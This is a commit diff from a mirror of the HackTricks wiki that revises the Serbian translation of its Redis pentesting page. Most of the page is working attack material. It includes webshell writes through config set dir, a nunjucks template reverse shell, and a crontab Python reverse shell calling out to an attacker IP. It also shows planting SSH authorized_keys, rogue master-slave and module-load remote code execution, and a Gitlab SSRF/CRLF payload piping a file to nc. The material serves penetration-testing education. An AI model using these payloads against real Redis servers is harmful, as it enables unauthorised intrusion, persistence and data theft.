mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
191df0908c
commit
afb90d4550
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## Osnovne informacije
|
## Osnovne informacije
|
||||||
|
|
||||||
Iz [dokumentacije](https://redis.io/topics/introduction): Redis je open source (BSD licenca), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka.
|
From [the docs](https://redis.io/topics/introduction): Redis je open source (BSD licenca), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka).
|
||||||
|
|
||||||
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Saznajte kako da [pokrenete Redis sa ssl/tls ovde](https://fossies.org/linux/redis/TLS.md).
|
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
|
||||||
|
|
||||||
**Podrazumevani port:** 6379
|
**Podrazumevani port:** 6379
|
||||||
```
|
```
|
||||||
@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
|||||||
|
|
||||||
### Baner
|
### Baner
|
||||||
|
|
||||||
Redis je **protokol zasnovan na tekstu**, možete jednostavno **poslati komandu u soket** i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći **ssl/tls** (ali to je veoma čudno).
|
Redis je **protokol zasnovan na tekstu**, možete jednostavno **poslati komandu u soket** i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći **ssl/tls** (ali to je veoma neobično).
|
||||||
|
|
||||||
U regularnoj Redis instanci možete se jednostavno povezati koristeći `nc` ili možete koristiti i `redis-cli`:
|
U regularnoj Redis instanci možete se jednostavno povezati koristeći `nc` ili možete koristiti i `redis-cli`:
|
||||||
```bash
|
```bash
|
||||||
@ -39,13 +39,13 @@ U ovom poslednjem slučaju, to znači da **vam trebaju važeće akreditive** za
|
|||||||
|
|
||||||
### Redis Autentifikacija
|
### Redis Autentifikacija
|
||||||
|
|
||||||
**Po defaultu** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
|
**Podrazumevano** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
|
||||||
Moguće je **postaviti lozinku** u _**redis.conf**_ datoteci sa parametrima `requirepass` **ili privremeno** dok se usluga ne restartuje povezivanjem na nju i pokretanjem: `config set requirepass p@ss$12E45`.\
|
Moguće je **postaviti lozinku** u _**redis.conf**_ datoteci sa parametrima `requirepass` **ili privremeno** dok se usluga ne restartuje povezivanjem na nju i pokretanjem: `config set requirepass p@ss$12E45`.\
|
||||||
Takođe, **korisničko ime** može biti konfigurisano u parametru `masteruser` unutar _**redis.conf**_ datoteke.
|
Takođe, **korisničko ime** može biti konfigurisano u parametru `masteruser` unutar _**redis.conf**_ datoteke.
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Ako je samo lozinka konfigurisana, korisničko ime koje se koristi je "**default**".\
|
> Ako je samo lozinka konfigurisana, korisničko ime koje se koristi je "**default**".\
|
||||||
> Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom+lozinkom.
|
> Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom + lozinkom.
|
||||||
|
|
||||||
U slučajevima poput ovog, **trebaće vam da pronađete važeće akreditive** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-hacking/brute-force.md#redis) to.\
|
U slučajevima poput ovog, **trebaće vam da pronađete važeće akreditive** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-hacking/brute-force.md#redis) to.\
|
||||||
**U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju** nakon uspostavljanja veze sa komandom:
|
**U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju** nakon uspostavljanja veze sa komandom:
|
||||||
@ -67,7 +67,7 @@ CONFIG GET *
|
|||||||
```
|
```
|
||||||
**Ostale Redis komande** [**mogu se naći ovde**](https://redis.io/topics/data-types-intro) **i** [**ovde**](https://lzone.de/cheat-sheet/Redis)**.**
|
**Ostale Redis komande** [**mogu se naći ovde**](https://redis.io/topics/data-types-intro) **i** [**ovde**](https://lzone.de/cheat-sheet/Redis)**.**
|
||||||
|
|
||||||
Imajte na umu da se **Redis komande instance mogu preimenovati** ili ukloniti u _redis.conf_ datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:
|
Napomena da se **Redis komande instance mogu preimenovati** ili ukloniti u _redis.conf_ datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:
|
||||||
```
|
```
|
||||||
rename-command FLUSHDB ""
|
rename-command FLUSHDB ""
|
||||||
```
|
```
|
||||||
@ -77,13 +77,13 @@ Takođe možete **pratiti u realnom vremenu Redis komande** koje se izvršavaju
|
|||||||
|
|
||||||
Pronađite više zanimljivih informacija o više Redis komandi ovde: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
Pronađite više zanimljivih informacija o više Redis komandi ovde: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||||
|
|
||||||
### **Dumpovanje Baze Podataka**
|
### **Dumping Database**
|
||||||
|
|
||||||
Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da li se neka koristi u izlazu komande `info` unutar "Keyspace" dela:
|
Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da li je neka korišćena u izlazu komande `info` unutar "Keyspace" dela:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Ili možete jednostavno dobiti sve **keyspace-ove** (baze podataka) sa:
|
Ili možete jednostavno dobiti sve **keyspace** (baze podataka) sa:
|
||||||
```
|
```
|
||||||
INFO keyspace
|
INFO keyspace
|
||||||
```
|
```
|
||||||
@ -98,7 +98,7 @@ GET <KEY>
|
|||||||
```
|
```
|
||||||
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET <KEY>`, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikazivanje.
|
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET <KEY>`, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikazivanje.
|
||||||
|
|
||||||
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za listu i hash ključeve.
|
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za list i hash ključeve.
|
||||||
```bash
|
```bash
|
||||||
TYPE <KEY>
|
TYPE <KEY>
|
||||||
[ ... Type of the Key ... ]
|
[ ... Type of the Key ... ]
|
||||||
@ -110,19 +110,19 @@ HGET <KEY> <FIELD>
|
|||||||
# If the type used is weird you can always do:
|
# If the type used is weird you can always do:
|
||||||
DUMP <key>
|
DUMP <key>
|
||||||
```
|
```
|
||||||
**Izvrni dump baze podataka pomoću npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ili python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
**Izvršite dump baze podataka sa npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ili python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||||
|
|
||||||
## Redis RCE
|
## Redis RCE
|
||||||
|
|
||||||
### Interaktivna ljuska
|
### Interaktivna ljuska
|
||||||
|
|
||||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili obrnutu ljusku u Redis(<=5.0.5).
|
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili reverznu ljusku u Redis(<=5.0.5).
|
||||||
```
|
```
|
||||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||||
```
|
```
|
||||||
### PHP Webshell
|
### PHP Webshell
|
||||||
|
|
||||||
Info iz [**ovde**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** **foldera veb sajta**:
|
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** do **foldera veb sajta**:
|
||||||
```
|
```
|
||||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||||
@ -134,13 +134,13 @@ OK
|
|||||||
10.85.0.52:6379> save
|
10.85.0.52:6379> save
|
||||||
OK
|
OK
|
||||||
```
|
```
|
||||||
Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.
|
Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.
|
||||||
|
|
||||||
### Template Webshell
|
### Template Webshell
|
||||||
|
|
||||||
Kao u prethodnom odeljku, takođe možete prepisati neku html šablonsku datoteku koja će biti interpretirana od strane šablonskog engine-a i dobiti shell.
|
Kao u prethodnom odeljku, takođe možete prepisati neki html template fajl koji će biti interpretiran od strane template engine-a i dobiti shell.
|
||||||
|
|
||||||
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks šablonski engine:**
|
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks template engine:**
|
||||||
```javascript
|
```javascript
|
||||||
{{ ({}).constructor.constructor(
|
{{ ({}).constructor.constructor(
|
||||||
"var net = global.process.mainModule.require('net'),
|
"var net = global.process.mainModule.require('net'),
|
||||||
@ -161,12 +161,12 @@ sh.stderr.pipe(client);
|
|||||||
|
|
||||||
Primer [odavde](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
Primer [odavde](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||||
|
|
||||||
Molimo vas da budete svesni da se rezultat **`config get dir`** može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu **`config get dir`** možete pronaći **home** **redis korisnika** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo, znate gde možete napisati `authenticated_users` datoteku za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:
|
Molimo vas da budete svesni da **`config get dir`** rezultat može biti promenjen nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu od **`config get dir`** možete pronaći **home** korisnika **redis** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo znate gde možete napisati datoteku `authenticated_users` za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete to takođe zloupotrebiti:
|
||||||
|
|
||||||
1. Generišite ssh javni-privatni ključ na vašem računaru: **`ssh-keygen -t rsa`**
|
1. Generišite ssh javni-privatni ključ na vašem računaru: **`ssh-keygen -t rsa`**
|
||||||
2. Napišite javni ključ u datoteku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
2. Napišite javni ključ u datoteku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||||
3. Uvezite datoteku u redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
3. Uvezite datoteku u redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||||
4. Sačuvajte javni ključ u **authorized_keys** datoteci na redis serveru:
|
4. Sačuvajte javni ključ u **authorized_keys** datoteku na redis serveru:
|
||||||
|
|
||||||
```
|
```
|
||||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||||
@ -182,6 +182,8 @@ OK
|
|||||||
|
|
||||||
**Ova tehnika je automatizovana ovde:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
**Ova tehnika je automatizovana ovde:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||||
|
|
||||||
|
Pored toga, sistemski korisnici se takođe mogu otkriti proverom sa `config set dir /home/USER`, i nakon potvrde, novi `authorized_keys` može biti napisan u `/home/USER/.ssh/authorized_keys`. Koristite [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) da bruteforce-ujete ovo sa listom korisničkih imena i prepišete `authorized_keys`.
|
||||||
|
|
||||||
### Crontab
|
### Crontab
|
||||||
```
|
```
|
||||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||||
@ -197,11 +199,11 @@ Poslednji primer je za Ubuntu, za **Centos**, gornja komanda bi trebala biti: `r
|
|||||||
|
|
||||||
Ova metoda se takođe može koristiti za zarađivanje bitcoina :[yam](https://www.v2ex.com/t/286981#reply14)
|
Ova metoda se takođe može koristiti za zarađivanje bitcoina :[yam](https://www.v2ex.com/t/286981#reply14)
|
||||||
|
|
||||||
### Učitaj Redis modul
|
### Učitaj Redis Modul
|
||||||
|
|
||||||
1. Prateći uputstva sa [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) možete **kompilirati redis modul za izvršavanje proizvoljnih komandi**.
|
1. Prateći uputstva sa [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) možete **kompilirati redis modul za izvršavanje proizvoljnih komandi**.
|
||||||
2. Zatim vam je potreban način da **otpremite kompajlirani** modul.
|
2. Zatim vam je potreban način da **otpremite kompajlirani** modul.
|
||||||
3. **Učitajte otpremljeni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
|
3. **Učitajte otpremni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
|
||||||
4. **Prikažite učitane module** da proverite da li je ispravno učitan: `MODULE LIST`.
|
4. **Prikažite učitane module** da proverite da li je ispravno učitan: `MODULE LIST`.
|
||||||
5. **Izvršite** **komande**:
|
5. **Izvršite** **komande**:
|
||||||
|
|
||||||
@ -215,17 +217,17 @@ Ova metoda se takođe može koristiti za zarađivanje bitcoina :[yam](https://
|
|||||||
|
|
||||||
6. Otpustite modul kad god želite: `MODULE UNLOAD mymodule`.
|
6. Otpustite modul kad god želite: `MODULE UNLOAD mymodule`.
|
||||||
|
|
||||||
### LUA sandbox zaobilaženje
|
### LUA sandbox bypass
|
||||||
|
|
||||||
[**Ovde**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) možete videti da Redis koristi komandu **EVAL** za izvršavanje **Lua koda u sandboxu**. U povezanom postu možete videti **kako to zloupotrebiti** koristeći funkciju **dofile**, ali [očigledno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to više nije moguće. U svakom slučaju, ako možete **zaobići Lua** sandbox mogli biste **izvršiti proizvoljne** komande na sistemu. Takođe, iz istog posta možete videti neke **opcije za izazivanje DoS**.
|
[**Ovde**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) možete videti da Redis koristi komandu **EVAL** za izvršavanje **Lua koda u sandboxu**. U povezanom postu možete videti **kako to zloupotrebiti** koristeći funkciju **dofile**, ali [očigledno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to više nije moguće. U svakom slučaju, ako možete **obići Lua** sandbox mogli biste **izvršiti proizvoljne** komande na sistemu. Takođe, iz istog posta možete videti neke **opcije za izazivanje DoS**.
|
||||||
|
|
||||||
Neki **CVE-ovi za izlazak iz LUA**:
|
Neki **CVEs za izlazak iz LUA**:
|
||||||
|
|
||||||
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||||||
|
|
||||||
### Master-Slave Modul
|
### Master-Slave Modul
|
||||||
|
|
||||||
Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš vlastiti redis.
|
Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš redis.
|
||||||
```
|
```
|
||||||
master redis : 10.85.0.51 (Hacker's Server)
|
master redis : 10.85.0.51 (Hacker's Server)
|
||||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||||
@ -239,7 +241,7 @@ set mykey2 helloworld
|
|||||||
```
|
```
|
||||||
## SSRF razgovor sa Redis-om
|
## SSRF razgovor sa Redis-om
|
||||||
|
|
||||||
Ako možete poslati **nešifrovani** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
|
Ako možete poslati **čist tekst** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
|
||||||
```
|
```
|
||||||
-ERR wrong number of arguments for 'get' command
|
-ERR wrong number of arguments for 'get' command
|
||||||
-ERR unknown command 'Host:'
|
-ERR unknown command 'Host:'
|
||||||
@ -255,7 +257,7 @@ Zato, ako pronađete **SSRF vuln** na veb sajtu i možete **kontrolisati** neke
|
|||||||
|
|
||||||
U **Gitlab11.4.7** otkrivene su **SSRF** ranjivosti i **CRLF**. **SSRF** ranjivost je bila u **funkcionalnosti uvoza projekta sa URL-a** prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP-ovima u formi \[0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a **CRLF** vuln je iskorišćen jednostavno **dodavanjem %0D%0A** karaktera u **URL**.
|
U **Gitlab11.4.7** otkrivene su **SSRF** ranjivosti i **CRLF**. **SSRF** ranjivost je bila u **funkcionalnosti uvoza projekta sa URL-a** prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP-ovima u formi \[0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a **CRLF** vuln je iskorišćen jednostavno **dodavanjem %0D%0A** karaktera u **URL**.
|
||||||
|
|
||||||
Zato je bilo moguće **zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom** koja **upravlja redovima** iz **gitlab-a** i zloupotrebiti te redove da **dobijete izvršenje koda**. Payload za zloupotrebu Redis reda je:
|
Zato, bilo je moguće **zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom** koja **upravlja redovima** iz **gitlab-a** i zloupotrebiti te redove da **dobijete izvršenje koda**. Payload za zloupotrebu Redis reda je:
|
||||||
```
|
```
|
||||||
multi
|
multi
|
||||||
sadd resque:gitlab:queues system_hook_push
|
sadd resque:gitlab:queues system_hook_push
|
||||||
@ -266,6 +268,6 @@ I **URL encode** zahtev **zloupotrebljavajući SSRF** i **CRLF** da izvrši `who
|
|||||||
```
|
```
|
||||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||||
```
|
```
|
||||||
_Zbog nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` šemom, a ne sa `http` šemom._
|
_Zbog nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` šemom, a ne sa `http` šemom._
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user